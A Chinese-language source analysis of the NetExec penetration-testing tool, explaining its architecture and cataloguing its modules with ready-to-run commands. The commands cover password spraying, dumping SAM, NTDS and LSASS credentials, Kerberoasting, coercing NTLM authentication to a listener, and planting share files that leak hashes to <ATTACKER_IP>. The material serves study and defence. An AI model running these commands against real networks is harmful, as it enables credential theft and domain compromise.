NetExec 架构与模块分析

NetExec 把凭据认证、主机枚举和模块调用放在统一的命令行中。和单独运行协议示例相比,分析它时还需要关注目标展开、认证循环、权限标记和模块回调,否则很容易把“这个模块属于 SMB”理解成“它只使用 SMB 协议”。

源码分析对应 NetExec 36acb70。该快照提供 10 个协议处理器;模块目录有 131 个 Python 模板/模块类,其中包括示例模板和已经迁移功能的提示文件。本文的参数与实现均围绕此快照展开。

核心架构

入口与目标展开

pyproject.toml 将 nxc、netexec 和 NetExec 指向 nxc.netexec:main,数据库入口为 nxcdb。main() 先完成首次运行目录初始化、CLI 解析和协议选择,再展开目标列表。

输入可以是主机/IP、CIDR、范围或目标文件;Nmap XML、Nessus 文件由各自解析器处理。协议加载器找到协议类及数据库类,然后为当前 workspace 打开 <protocol>.db。

调用关系可按下面顺序追踪:

nxc.netexec.main()
  -> gen_cli_args():通用参数 + 所选协议参数
  -> parse_targets() / Nmap / Nessus:展开目标
  -> ProtocolLoader:加载协议类与协议数据库类
  -> ModuleLoader:检查所选模块、解析模块选项
  -> start_run():提交每个目标的任务
       -> protocol_class(args, db, target)
          -> connection.__init__() / proto_flow()
             -> 连接、主机信息与认证
             -> call_cmd_args()
             -> load_modules() -> call_modules()

ProtocolLoader 根据文件路径导入模块,再从模块取出同名协议类。协议类通常继承 connection,实现 create_conn_obj()、plaintext_login()、hash_login()、kerberos_login() 等具体行为。

源码:入口、公共连接流程。

并发与认证循环

start_run() 使用 ThreadPoolExecutor,默认线程数在 CLI 中设为 256。每个目标任务负责该目标的连接与凭据尝试。它表示同时处理目标的工作线程上限,与每个账户的认证频率是两个维度。

with ThreadPoolExecutor(max_workers=args.threads) as executor:
    futures = [
        executor.submit(protocol_obj, args, db, target)
        for target in targets
    ]

--jitter 在目标内的认证循环加入延迟,多目标仍可能并发认证。--continue-on-success 让循环在成功后继续尝试其他凭据;--no-bruteforce 则将用户与密码列表按位置配对,代替默认的组合尝试。

-k 选择 Kerberos 流程,--use-kcache 明确使用 KRB5CCNAME 中的缓存,--aesKey 提供长期 AES 密钥。各协议支持的输入和认证方式需要查看对应处理器。SMB 的本地账户测试使用 --local-auth;域账户可用 -d 指定域。

NetExec 目标并发、凭据组合与配对

权限标记与模块回调

Pwn3d! 是协议处理器完成自己的权限检查后使用的显示标志。例如 SMB 会尝试以 SC_MANAGER_ALL_ACCESS 打开服务控制管理器;LDAP 会查询账户与高权限组的关联。WinRM、SSH 等又有各自判断。因此它能说明的是该处理器所检查的能力,不能把不同协议的标记当成同一个 Windows 管理员测试。

call_cmd_args() 遍历解析参数,存在同名可调用方法且参数已设置时调用该方法。随后 call_modules() 派发模块回调:

if hasattr(module, "on_login"):
    module.on_login(context, self)

if self.admin_privs and hasattr(module, "on_admin_login"):
    module.on_admin_login(context, self)

两个回调是分别判断的,一个模块可同时实现二者。on_login 表示进入该回调不要求公共 admin_privs 标记,具体动作仍受服务端权限检查;on_admin_login 则要先满足处理器的管理员标记条件。无凭据信息探测也可能通过空身份路径调用模块。

NetExec 目标任务与独立模块回调

数据库与依赖

结果由各协议实现写入 SQLite:常见内容有主机、有效凭据、管理员关系和特定枚举结果。数据库保存的是数据;执行 nxc smb ... --shares 会重新连接目标枚举共享,历史查询使用 nxcdb。

nxcdb
workspace list
proto smb
help
hosts
creds

凭据可通过对应协议数据库中的 -id 再次作为认证输入,复用后仍要与目标建立新会话。数据库文档 给出了 workspace、协议数据库和导出方式。

Impacket 提供 SMB、RPC、LDAP、TDS 和部分认证实现。NetExec 还使用 Paramiko、pypsrp、aardwolf、dploot、BloodHound Python 收集器、Certipy 等库。本文快照的 pyproject.toml 将 Impacket 指向 Fortra 的 Git 仓库;未锁定提交的 Git 依赖,需要结合本地实际安装版本分析。

模块加载

ModuleLoader 扫描内置 nxc/modules/ 和用户目录 ~/.nxc/modules/,导入 NXCModule,读取名称、描述、类别、支持协议及选项。example_module.py 是开发模板,不进入正常模块列表。

class NXCModule:
    name = "example_module"
    description = "Example"
    supported_protocols = ["smb"]
    category = CATEGORY.ENUMERATION

    def options(self, context, module_options):
        pass

    def on_login(self, context, connection):
        pass

模块收到的 context 提供日志、数据库及参数,connection 提供当前连接与协议操作。-o KEY=VALUE 由加载器按第一个等号拆开,并将键转为大写。参数值如何转换和使用,由各模块 options() 实现。

# 查看当前安装版本支持的协议、模块和选项
nxc --help
nxc smb --help
nxc smb -L
nxc smb -M lsassy --options

模块的 supported_protocols 指入口连接对象类型。例如 coerce_plus 通过 SMB 入口运行,内部还会建立对应 RPC 接口连接;timeroast 使用 SMB 入口,实际探测报文发往 UDP 123。

源码:模块加载器。

NetExec 协议入口与模块实际请求

协议处理器

SMB 协议

SMB 处理器使用 Impacket 的 SMBConnection 进行连接与认证,再结合 SRVS、SAMR、LSAT、RRP、SCMR 等接口完成枚举和管理操作。

内置功能(不需要 -M 模块):

功能 参数 底层实现
凭据验证与密码喷洒 -u user -p pass SMB NTLM/Kerberos 认证 + 多用户/密码 combo
管理员权限检查 自动 查询 SCM (\pipe\svcctl) 的 ROpenSCManagerW
SMB 签名检查 --gen-relay-list FILE 解析 SMB Negotiate 响应中的 SigningRequired 位
共享枚举 --shares [READ/WRITE] NetrShareEnum RPC 调用 + 访问检查
磁盘枚举 --disks SRVS NetrServerDiskEnum
域用户枚举 --users SAMR SamrEnumerateUsersInDomain
域组枚举 --groups [GROUP] SAMR SamrEnumerateGroups + SamrGetMembersInGroup
本地组枚举 --local-groups [GROUP] SAMR SamrEnumerateAliases
计算机枚举 --computers SAMR 过滤 USER_WORKSTATION_TRUST_ACCOUNT
RID 爆破 --rid-brute [MAX_RID] LSAT LsarLookupSids 批量
SMB 会话枚举 --smb-sessions SRVS NetrSessionEnum
注册表会话枚举 --reg-sessions [USER] RRP 枚举 HKU 下加载的用户 SID,再解析名称
登录用户枚举 --loggedon-users WKST NetrWkstaUserEnum
会话枚举 --qwinsta [USER] TSTS RpcOpenEnum + RpcGetEnumResult
进程枚举 --tasklist [NAME] TSTS RpcWinStationGetAllProcesses
进程终止 --taskkill PID TSTS RpcWinStationTerminateProcess
密码策略导出 --pass-pol SAMR RPC 查询域密码策略
共享爬虫 --spider SHARE SMB 文件系统递归遍历
文件操作 --put-file / --get-file SMB 文件上传/下载
命令执行 -x CMD / -X PS 默认按 wmiexec、atexec、smbexec、mmcexec 尝试初始化执行器;显式指定时仅用该方式

执行器初始化成功后,循环立即退出,再由选中的对象调用 execute() 执行命令。上述回退发生在初始化阶段;命令提交和输出回收位于后续流程。

NetExec 执行器选择与命令输出回收

凭据导出功能(SMB 内置):

功能 参数 底层实现
SAM 导出 --sam [regdump/secdump] Remote Registry 读取:regdump / secdump 对应不同注册表提取路径
LSA 导出 --lsa [regdump/secdump] secretsdump.py 的 LSASecrets 类
NTDS.dit 导出 --ntds [vss/drsuapi] VSS 方式 或 DCSync(与 secretsdump.py 共享相同底层)
DPAPI 导出 --dpapi [cookies/nosystem] dploot 库(DPAPI MasterKey + Credential + Vault 解密)
SCCM 导出 --sccm [wmi/disk] dploot SCCM 凭据提取
# 单账户多个候选密码
nxc smb 192.168.244.131 -u administrator -p pass1 pass2 pass3

# SMB 批量密码喷洒(用户列表 × 密码列表)
nxc smb 192.168.244.0/24 -u users.txt -p passwords.txt

# 导出工具识别为 Windows 且 SMB 签名不强制的候选目标
nxc smb 192.168.244.0/24 --gen-relay-list relay_targets.txt

# 一键导出 SAM + LSA + NTDS
nxc smb 192.168.244.131 -u administrator -p Aa123456 --sam --lsa --ntds drsuapi

# 命令执行(四种方式)
nxc smb 192.168.244.132 -u administrator -p Aa123456 -x "whoami"                          # 默认 wmiexec
nxc smb 192.168.244.132 -u administrator -p Aa123456 -X "Get-Process" --exec-method smbexec  # SMB 服务方式

LDAP 协议

LDAP 协议处理器专门用于目录查询和域信息收集,通过 impacket 的 LDAP 库实现。

内置功能:

功能 参数 说明
基础认证 -u user -p pass 默认 NTLM / Kerberos 绑定;显式 –simple-bind 选择简单绑定
Active Directory 信息 --active-users / --groups 等 标准 LDAP 查询
Kerberos 认证 -k / --use-kcache Kerberos SASL 绑定
BloodHound 收集 协议内置 通过 bloodhound-ce 依赖收集其支持的 AD 对象及关系
gMSA 密码读取 --gmsa 解析有权读取的 msDS-ManagedPassword 属性
LAPS 密码读取 -M laps(枚举)/ --laps(登录辅助) 查询传统 / Windows LAPS 属性;加密密码还需解密授权
# LDAP 密码喷洒
nxc ldap 192.168.244.131 -u users.txt -p passwords.txt

# AS-REP Roasting(LDAP查询 + KDC请求)
nxc ldap 192.168.244.131 -u attacker -p Bb123456 --asreproast asrep.txt

# Kerberoasting
nxc ldap 192.168.244.131 -u attacker -p Bb123456 --kerberoasting kerberoast.txt

# 显式选择 All 收集方法;所含方法由依赖收集器定义
nxc ldap 192.168.244.131 -u attacker -p Bb123456 --bloodhound -c all

WinRM 协议

基于 pypsrp 库实现,通过 WS-Management 协议(5985/HTTP 或 5986/HTTPS)远程执行命令。

# WinRM 命令执行
nxc winrm 192.168.244.132 -u administrator -p Aa123456 -x "whoami"

# WinRM + SSL
nxc winrm 192.168.244.132 -u administrator -p Aa123456 -x "hostname" --ssl

MSSQL 协议

基于 impacket 的 TDS 库实现,支持 Windows 认证(NTLM/Kerberos)和 SQL 认证。

内置功能:

功能 参数 说明
SQL 查询 -q "QUERY" 直接执行 SQL 语句
命令执行 -x CMD 通过 xp_cmdshell 执行系统命令
PowerShell 执行 -X PS_CMD 通过 PowerShell 封装
xp_cmdshell 启用 模块 enable_cmdshell 执行 sp_configure,需要修改服务器配置的权限
权限枚举 模块 mssql_priv 检查 SQL 角色、可模拟身份及提权路径
# MSSQL SQL 查询
nxc mssql 192.168.244.132 --local-auth -u sa -p Passw0rd -q "SELECT @@VERSION"

# MSSQL 命令执行(执行层会处理 xp_cmdshell 配置,还需具备配置及执行权限)
nxc mssql 192.168.244.132 --local-auth -u sa -p Passw0rd -x "whoami"

# 批量 MSSQL CBT 状态检查
nxc mssql 192.168.244.132 --local-auth -u sa -p Passw0rd -M mssql_cbt

其他协议

协议 底层库 主要用途
SSH paramiko Linux/网络设备批量命令执行和凭据验证
FTP ftplib FTP 服务凭据验证
RDP aardwolf / asyauth RDP 凭据验证(NLA 协议)
VNC 自定义实现 VNC 服务凭据验证
WMI impacket DCOM WMI 查询与执行,所选执行/输出方式决定连接需求
NFS pynfsclient NFS 挂载和权限检查

模块分类详解

category 是模块作者给出的分类,枚举、凭据收集与权限操作会有交集。下面按用途说明,协议和回调入口集中在文末索引。

目录与主机枚举

ADCS / 证书服务枚举

adcs — 通过 LDAP 查询 ADCS 的 PKI 注册服务器和证书模板。攻击 ADCS 的第一步,需要先知道哪些 CA 存在、哪些模板可注册。nxc ldap <target> -u user -p pass -M adcs -o SERVER=ca01

certipy-find — 调用 Certipy 的模板/CA 发现逻辑,支持 TEXT、CSV、JSON 输出以及 ENABLED、VULN 筛选。默认筛选易受攻击的模板;具体 ESC 判断由安装的 Certipy 实现。nxc ldap <target> -u user -p pass -M certipy-find -o VULN=true

enum_ca — 通过 RPC 端点匿名发现 ADCS CA 服务器。原始代码来自 impacket 的 rpcdump.py,通过扫描 RPC 135 端口的 UUID 识别 CA 服务,无需凭据。nxc smb <target> -u '' -p '' -M enum_ca

域结构与信任枚举

subnets — 通过 LDAP 检索 AD 中的站点(Sites)和子网(Subnets)信息,帮助了解内网网络拓扑。nxc ldap <target> -u user -p pass -M subnets

obsolete — 通过 LDAP 查询所有过时的操作系统(如 Windows XP/2003/2008),发现容易被利用的旧系统。nxc ldap <target> -u user -p pass -M obsolete

entra-id — 通过 AD 中的同步账户及描述等信息定位可能部署 Entra ID Connect 的服务器。同步组件数据库和凭据的读取是后续独立操作。nxc ldap <target> -u user -p pass -M entra-id

用户与组枚举

get-desc-users — 获取域用户的 description 属性,经常包含初始密码或服务说明。nxc ldap <target> -u user -p pass -M get-desc-users

get-info-users — 获取域用户的 info 属性字段。与 description 类似,经常被运维人员用来记录临时信息。nxc ldap <target> -u user -p pass -M get-info-users

user-desc — 搜索域用户描述字段中的敏感关键词(pass/creds/key/secret/default),自动提取可能包含的密码。nxc ldap <target> -u user -p pass -M user-desc -o KEYWORDS=pass,creds,secret

whoami — 查询指定域用户的详细信息(组、SID、UAC 等)。nxc ldap <target> -u user -p pass -M whoami -o USER=administrator

groupmembership — 查询指定用户的 memberOf 和 primaryGroupID 字段。nxc ldap <target> -u user -p pass -M groupmembership -o USER=attacker

dump-computers — 导出域内所有计算机的 FQDN 和 OS 信息。nxc ldap <target> -u user -p pass -M dump-computers

find-computer — 通过文本模糊搜索域内的计算机账户。nxc ldap <target> -u user -p pass -M find-computer -o TEXT=DC

get-scriptpath — 获取域用户的 scriptPath 属性,登录脚本路径有时包含敏感信息。nxc ldap <target> -u user -p pass -M get-scriptpath

DNS 枚举

enum_dns — 通过 WMI 从 AD DNS 服务器导出 DNS 区域记录。nxc smb <target> -u admin -p pass -M enum_dns

dns-nonsecure — 检测允许非安全动态更新的 DNS 区域。攻击者可利用此配置注入恶意 DNS 记录。nxc ldap <target> -u user -p pass -M dns-nonsecure

get-network — 通过 LDAP 查询所有 DNS 记录及其对应 IP,构建域内网络拓扑。nxc ldap <target> -u user -p pass -M get-network

域策略枚举

maq — 读取域对象的 ms-DS-MachineAccountQuota。配额路径需要尚有余额及相应创建条件;已有受控计算机或显式委派的创建权限也可提供 RBCD 前端账户。nxc ldap <target> -u user -p pass -M maq

pre2k — 默认查询 userAccountControl=4128 的计算机,即 WORKSTATION_TRUST_ACCOUNT | PASSWD_NOTREQD;再尝试由小写计算机名的前 14 个字符构成的候选密码,向 KDC 请求 TGT。这个 UAC 值是候选线索,成功还要通过真实认证。nxc ldap <target> -u user -p pass -M pre2k

enum_links — 枚举 MSSQL 链接服务器及其登录配置,用于发现数据库横向移动路径。nxc mssql <target> --local-auth -u sa -p pass -M enum_links

enum_logins — 枚举 MSSQL 服务器上的所有登录(SQL 登录、域用户登录、本地用户登录)。nxc mssql <target> --local-auth -u sa -p pass -M enum_logins

enum_impersonate — 查询 sys.server_permissions 与 sys.server_principals 的关联,输出 IMPERSONATE 权限线索。具体可模拟对象还需核对授权主体、目标及当前身份。nxc mssql <target> -u user -p pass --local-auth -M enum_impersonate

主机信息枚举

enum_av — 通过 LSAT 查询已知 NT SERVICE\服务名,并枚举已知命名管道,识别安全产品的服务/进程线索。它不通过 WMI SecurityCenter 或注册表列出全部产品,缺少匹配也不能说明没有安全软件。nxc smb <target> -u user -p pass -M enum_av

enum_cve — 查询目标 OS 版本和 UBR(Update Build Revision),匹配已知 CVE 漏洞列表。nxc smb <target> -u admin -p pass -M enum_cve

enum_interfaces — 从远程注册表读取网络接口信息(IP/掩码/网关),判断目标是否有多个网卡(可能存在内网其他网段)。nxc smb <target> -u admin -p pass -M enum_interfaces

bitlocker — 通过 WMI 或注册表查询 BitLocker 加密状态。磁盘是否加密影响文件导出和取证策略。nxc smb <target> -u admin -p pass -M bitlocker

install_elevated — 检查注册表中是否启用了 AlwaysInstallElevated。如果两个注册表键都为 1,普通用户可通过 MSI 安装以 SYSTEM 权限执行代码。nxc smb <target> -u user -p pass -M install_elevated

uac — 查询目标机器的 UAC(用户账户控制)配置状态。nxc smb <target> -u admin -p pass -M uac

runasppl — 读取 RunAsPPL 注册表配置。运行中的 LSASS 保护状态还涉及启动配置和系统策略,注册表值用于提供配置线索。nxc smb <target> -u admin -p pass -M runasppl

lockscreendoors — 检测 Windows 锁屏后门(如用 cmd.exe 替换 utilman.exe 等无障碍二进制文件),通过检查 FileDescription 来识别。nxc smb <target> -u admin -p pass -M lockscreendoors

webdav — 尝试访问与 WebClient 服务关联的已知命名管道,提供服务运行线索。WebDAV 客户端能够提供 HTTP 认证来源,仍需要合适的访问路径及认证条件。nxc smb <target> -u user -p pass -M webdav

presence — 先枚举域管/企业管理员组成员,再检查目标用户目录、进程归属和计划任务中的关联。目录和任务提供活动线索,进程结果反映查询时刻的状态。nxc smb <target> -u admin -p pass -M presence

hyperv-host — 查询虚拟机注册表以查找其 Hyper-V 主机。在虚拟化环境中可用于逃逸的侦察步骤。nxc smb <target> -u admin -p pass -M hyperv-host

ioxidresolver — 通过 DCOM OXID Resolver(TCP 135)发现目标的额外网络接口,可能暴露内网其他子网信息。nxc smb <target> -u user -p pass -M ioxidresolver

get_netconnections — 通过 WMI 查询目标主机的活动网络连接。nxc smb <target> -u admin -p pass -M get_netconnections

keepass_discover — 搜索 KeePass 相关文件(.kdbx)和进程,发现密码数据库位置。nxc smb <target> -u admin -p pass -M keepass_discover

漏洞检测

nopac — 检测 DC 是否易受 noPac(CVE-2021-42278/42287)相关条件。向 KDC 请求带/不带 PAC 的 TGT 并比较大小,属于启发式检测,未完成机器账户改名和票据请求的整套漏洞验证。nxc smb <target> -u user -p pass -M nopac

zerologon — 通过 Netlogon 验证交互进行 CVE-2020-1472 探测。此模块不执行 DC 机器账户密码重置,结果与具体 Netlogon 防护和错误响应有关。nxc smb <target> -M zerologon

smbghost — 检查 SMB 3.1.1 及压缩能力,给出候选提示。压缩功能存在于正常实现中,确认 CVE-2020-0796 仍需结合受影响系统版本和修补状态。nxc smb <target> -M smbghost

ms17-010 — 检测 EternalBlue(MS17-010)漏洞。nxc smb <target> -M ms17-010

spooler — 检测 Print Spooler 服务是否启用。Print Spooler 开启是 PrinterBug 强制认证和 PrintNightmare 攻击的前提。nxc smb <target> -M spooler

printnightmare — 调用带测试参数的 RpcAddPrinterDriverEx,根据访问拒绝、参数错误等响应推断潜在影响。结果与调用身份有关,驱动安装条件还需进一步验证。nxc smb <target> -u user -p pass -M printnightmare

ntlmv1 — 读取 LmCompatibilityLevel,在值为 0、1、2 时提示。该配置分别影响客户端发送响应与服务端接受认证;3、4 也不能直接当作服务端拒绝 NTLMv1 的判据,5 才包含拒绝 NTLMv1。模块结果是配置线索,NTLMv1 接受情况还需结合服务与域策略。nxc smb <target> -u admin -p pass -M ntlmv1

remove-mic — 修改 NTLMv2 消息/MIC 的生成后重新认证,用服务端响应提示 CVE-2019-1040 的潜在影响。它探测的是 NTLM 认证处理,完整中继还要满足来源、目标协议与后续授权条件。nxc smb <target> -u user -p pass -M remove-mic

dMSA 权限线索

badsuccessor — 查询 Windows Server 2025 DC 线索并解析 OU 安全描述符,列出可能具有 dMSA 创建/控制权限的主体。当前模块不创建 dMSA,也不验证 KDC 补丁后的双向迁移关系。nxc ldap <target> -u user -p pass -M badsuccessor

服务发现类

sccm — 通过 LDAP 发现 SCCM(System Center Configuration Manager)基础设施。SCCM 通常具有域内大量主机的管理员权限。nxc ldap <target> -u user -p pass -M sccm

sccm-recon6 — 通过远程注册表检测目标是否为 SCCM Distribution Point 或 Primary Site Server(RECON-6 信息收集技术)。nxc smb <target> -u admin -p pass -M sccm-recon6

mssql_cbt — 检查 MSSQL 服务器是否强制要求 Channel Binding Token (CBT)。CBT 强制状态下无法对 MSSQL 进行 NTLM 中继。nxc mssql <target> --local-auth -u sa -p pass -M mssql_cbt

test_connection — 在目标上执行 PowerShell Test-Connection ... -quiet -count 1,检查目标向指定主机发送 ICMP 的结果,没有 PORT 选项。nxc smb <target> -u admin -p pass -M test_connection -o HOST=192.168.244.131

综合安全配置检查

wcc — Windows Configuration Checker,综合检查多项 Windows 安全配置。检查项包括:LAPS 状态、WDIGEST 配置、SMB 签名、AlwaysInstallElevated、LDAP 签名、特权组、LocalAccountTokenFilterPolicy、PowerShell v2、NetBT 配置、Application Whitelisting (AppLocker/WDAC) 等。nxc smb <target> -u admin -p pass -M wcc

reg-query — 通过 Remote Registry 查询、设置或删除注册表值。PATH 指定键路径,KEY 指定值名,VALUE/TYPE 用于写入,DELETE 选择删除。nxc smb <target> -u admin -p pass -M reg-query -o PATH="HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" KEY=ProductName

daclread — 读取并备份 AD 对象的 DACL。模块不能递归读取 DACL。nxc ldap <target> -u user -p pass -M daclread -o TARGET=administrator

gpp_privileges — 从 GPO 的 GptTmpl.inf 文件中提取分配的权限(SeBackupPrivilege、SeDebugPrivilege 等),并通过 LDAP 解析 SID 为用户名。nxc smb <target> -u user -p pass -M gpp_privileges

security-questions — 获取本地用户的安全问题和答案,可能包含密码重置线索。nxc smb <target> -u admin -p pass -M security-questions

example_module.py — 模块开发模板,供开发者参考,不用于实际渗透。name = "example module", description = "I do something",supported_protocols = [],category = CATEGORY.ENUMERATION

共享文件索引

spider_plus — 递归枚举可读取的 SMB 共享,保存文件元数据到 JSON,可选择下载。通过 EXCLUDE_FILTER、EXCLUDE_EXTS、MAX_FILE_SIZE、DOWNLOAD、OUTPUT_FOLDER 等选项限制范围。nxc smb <target> -u user -p pass -M spider_plus --options

凭据与应用数据

LSASS 内存凭据导出

lsassy — 将当前连接凭据传给 lsassy,按 METHOD 选择其远程转储方式,并解析结果。具体方法由安装的 lsassy 版本实现,不限于单一 comsvcs 路径。nxc smb <target> -u admin -p pass -M lsassy --options

nanodump — 上传/生成 NanoDump 程序,执行 --pid ... --write ... 产生转储,下载后交给 pypykatz 解析。此模块路径没有默认选择 SSP 注入模式。支持 SMB、MSSQL,进入管理员回调。nxc smb <target> -u admin -p pass -M nanodump

handlekatz — 上传并执行 HandleKatz,取得 LSASS 转储后用 pypykatz 解析。工具涉及句柄/进程访问,目标保护和所用程序版本会影响结果,不能据模块名保证绕过 EDR。nxc smb <target> -u admin -p pass -M handlekatz

procdump — 上传并执行 ProcDump,取得 LSASS 转储后用 pypykatz 解析。它需要相应进程访问权限,LSASS 的保护机制仍会约束操作。nxc smb <target> -u admin -p pass -M procdump

masky — 调用 Masky,在受控主机的权限上下文中请求 AD CS 证书,再结合 KDC 完成认证及凭据提取。还需适用的 CA/模板、用户上下文与域证书认证条件。nxc smb <target> -u admin -p pass -M masky -o CA=ca01.testjd.local

域策略凭据

gpp_password — 搜索 SYSVOL 中的 Group Policy Preferences XML 文件,提取 cpassword 字段并用微软公开的 AES 密钥解密。nxc smb <target> -u user -p pass -M gpp_password

gpp_autologin — 搜索 SYSVOL 中的 Registry.xml 文件,提取自动登录配置(DefaultUsername/DefaultPassword/DefaultDomain)。nxc smb <target> -u user -p pass -M gpp_autologin

laps — 查询 ms-Mcs-AdmPwd、msLAPS-Password 和 msLAPS-EncryptedPassword。传统属性直接返回密码;Windows LAPS JSON 解析后取密码;加密属性经 DPAPI-NG / GKDI 路径解密,还要有解密授权。nxc ldap <target> -u user -p pass -M laps -o COMPUTER=WS01

Windows 系统凭据

dpapi_hash — 基于 Master Key 远程导出 DPAPI 哈希。利用 dploot 库的 DPAPI 解密能力。nxc smb <target> -u admin -p pass -M dpapi_hash

reg-winlogon — 收集注册表中存储的自动登录凭据(DefaultUserName/DefaultPassword/DefaultDomain)。nxc smb <target> -u admin -p pass -M reg-winlogon

wdigest — 设置或移除 UseLogonCredential 以改变后续登录的 WDigest 凭据处理。已有会话不会因此重新生成明文凭据,Credential Guard 等保护也会影响可读取内容。nxc smb <target> -u admin -p pass -M wdigest -o ACTION=enable

wam — 从 Token Broker Cache 导出 WAM(Web Account Manager)访问令牌。基于 @xpnsec 的 WAM 研究。nxc smb <target> -u admin -p pass -M wam

wifi — 使用 dploot 的 WifiTriage 读取 Wi-Fi 配置及相关 DPAPI 数据,输出可解密的网络凭据;当前路径不通过 netsh 导出。nxc smb <target> -u admin -p pass -M wifi

powershell_history — 提取所有用户的 PSReadLine 历史命令文件,搜索敏感命令(如包含密码的命令行参数)。nxc smb <target> -u admin -p pass -M powershell_history

snipped — 下载 Windows Snipping Tool 的截图缓存文件,可能包含敏感信息的截屏。nxc smb <target> -u admin -p pass -M snipped

recent_files — 提取用户最近打开的文件列表。nxc smb <target> -u admin -p pass -M recent_files

recyclebin — 列出并导出用户回收站中的文件。nxc smb <target> -u admin -p pass -M recyclebin

notepad — 提取 Windows Notepad 标签状态二进制文件的内容(未保存的标签页文本)。nxc smb <target> -u admin -p pass -M notepad

notepad++ — 提取 Notepad++ 未保存的会话文件。nxc smb <target> -u admin -p pass -M notepad++

第三方管理工具凭据

keepass_trigger — 设置恶意的 KeePass 触发器,在用户下次保存密码数据库时自动以明文导出。灵感来自 @harmj0y 的研究。nxc smb <target> -u admin -p pass -M keepass_trigger

mobaxterm — 通过远程注册表或 NTUSER.dat 导出 MobaXterm 存储的 SSH/密码凭据。nxc smb <target> -u admin -p pass -M mobaxterm

mremoteng — 导出 mRemoteNG 存储的 RDP/SSH 连接凭据,支持解密 confCons.xml。nxc smb <target> -u admin -p pass -M mremoteng

rdcman — 远程导出 RDCMan(Remote Desktop Connection Manager)存储的凭据。nxc smb <target> -u admin -p pass -M rdcman

putty — 查询注册表找到用户保存的 PuTTY SSH 私钥并下载。nxc smb <target> -u admin -p pass -M putty

winscp — 在注册表和默认位置搜索 WinSCP.ini 文件,解密存储的 SFTP/FTP 凭据。nxc smb <target> -u admin -p pass -M winscp

veeam — 从本地 Veeam Backup & Replication SQL 数据库中提取凭据。nxc smb <target> -u admin -p pass -M veeam

vnc — 从 VNC 服务器和客户端配置中提取密码。nxc smb <target> -u admin -p pass -M vnc

浏览器与应用凭据

teams_localdb — 从本地 Microsoft Teams SQLite 数据库获取明文 SSO Auth Cookie(如果 Teams 打开则自动终止进程以释放文件锁)。nxc smb <target> -u admin -p pass -M teams_localdb

MSSQL 凭据相关

mssql_dumper — 在所有 MSSQL 数据库中搜索敏感数据(密码、凭据、信用卡等)。nxc mssql <target> --local-auth -u sa -p pass -M mssql_dumper

msol — 从 Entra ID Connect 服务器的 LocalDB 导出 MSOL 明文密码和 Entra ID 凭据。这是获取云同步凭据的关键模块。nxc smb <target> -u admin -p pass -M msol

域数据库凭据

ntds-dump-raw — 通过访问原始硬盘导出 ntds.dit、SAM 和 SYSTEM 文件(绕过 ACL,使用磁盘级读取)。支持 smb/wmi/winrm 协议。nxc smb <target> -u admin -p pass -M ntds-dump-raw

ntdsutil — 远程执行 ntdsutil 的 IFM 功能,生成并下载目录数据库/注册表副本,再处理相应数据。会创建进程及输出文件。nxc smb <DC> -u admin -p pass -M ntdsutil

LDAP/Linux 凭据

get-unixUserPassword — 从 LDAP 中获取所有用户的 unixUserPassword 属性(用于 Unix/Linux AD 集成环境的密码)。nxc ldap <target> -u user -p pass -M get-unixUserPassword

get-userPassword — 从 LDAP 中获取所有用户的 userPassword 属性。nxc ldap <target> -u user -p pass -M get-userPassword

aws-credentials — 在 Linux(通过 SSH)和 Windows(通过 SMB/WinRM)上搜索 AWS 凭证文件。nxc smb <target> -u admin -p pass -M aws-credentials

日志与事件凭据

eventlog_creds — 从 Windows 安全事件日志(Event ID 4688:进程创建)和 SYSMON 日志中提取凭据。支持两种方法:execute(通过 wevtutil)或 RPCCALL(通过 EVEN6 RPC)。nxc smb <target> -u admin -p pass -M eventlog_creds -o METHOD=RPCCALL LIMIT=100

iis — 通过 appcmd.exe 检查 IIS 应用程序池配置文件中存储的凭据。nxc smb <target> -u admin -p pass -M iis

身份、配置与执行操作

强制认证触发(NTLM 中继前提)

coerce_plus — 按 METHOD 选择 MS-EFSR、MS-DFSNM、MS-FSRVP、MS-RPRN、MS-EVEN 等 RPC 路径。未提供 LISTENER 时主要检查绑定等接口线索;提供后尝试触发回连,实际来源身份、认证协议和中继结果应从监听端观察。nxc smb <target> -u user -p pass -M coerce_plus -o LISTENER=192.168.244.130 METHOD=PetitPotam

mssql_coerce — 通过 MSSQL 的 xp_dirtree/xp_fileexist/xp_subdirs 等存储过程强制目标数据库服务器向 LISTENER 发起 SMB 认证。nxc mssql <target> --local-auth -u sa -p pass -M mssql_coerce -o LISTENER=<IP>

时间服务认证

timeroast — 向 DC 的 UDP 123 发送带目标 RID 的 MS-SNTP 请求,收集响应校验和作为离线口令验证材料,输出 $sntp-ms$ 格式。它没有返回 NT 哈希或 Kerberos 票据。代码中的计算关系为 MD5(NT_hash || NTP_response[:48]);需要继续验证候选密码。nxc smb <target> -M timeroast

域权限提升

raisechild — 通过域信任关系从子域提升到父域。利用子域 krbtgt 凭据创建包含父域 Enterprise Admins SID 的 Golden Ticket。nxc ldap <target> -u child_admin -p pass -M raisechild -o USER=Administrator

add-computer — SMB 入口使用 SAMR,LDAP 入口使用目录操作,NAME、PASSWORD 指定计算机账户信息;DELETE、CHANGEPW 选择相应操作。创建要满足配额路径或显式授权。nxc smb <DC> -u user -p pass -M add-computer -o NAME=EVIL\$ PASSWORD=Pass123

modify-group — 通过当前 SMB/SAMR 或 LDAP 连接修改组成员,需要该组的相应写权限。默认添加,REMOVE 表示移除;模块没有 ACTION 参数。nxc ldap <DC> -u admin -p pass -M modify-group -o GROUP="LabGroup" USER=attacker

change-password — 通过 SAMR 修改或重置域用户密码。nxc smb <target> -u admin -p pass -M change-password -o USER=victim NEWPASS=NewPass

本地权限提升

backup_operator — 利用备份语义打开并保存 SAM、SYSTEM、SECURITY 到 SYSVOL,再读取解析。当前代码还尝试用解析到的首个 SAM 身份重新登录并调用 NTDS 导出,后续成功需要该身份确有相应权限。获得备份权限本身与自动取得域复制权限是不同步骤。nxc smb <DC> -u backup_op -p pass -M backup_operator

slinky — 在所有可写共享中创建带有 UNC 路径图标的 .lnk 快捷方式,当用户浏览共享时触发 NTLM 认证。nxc smb <target> -u admin -p pass -M slinky -o NAME=shortcut SERVER=<ATTACKER_IP>

scuffy — 在所有可写共享中创建带有 UNC 路径图标的 .scf 文件,触发 NTLM 认证捕获。nxc smb <target> -u admin -p pass -M scuffy -o SERVER=<ATTACKER_IP>

drop-library-ms — 在所有可写共享上创建 .library-ms 文件,利用 CVE-2025-24054 捕获 NTLMv2 哈希。nxc smb <target> -u admin -p pass -M drop-library-ms -o SERVER=<ATTACKER_IP>

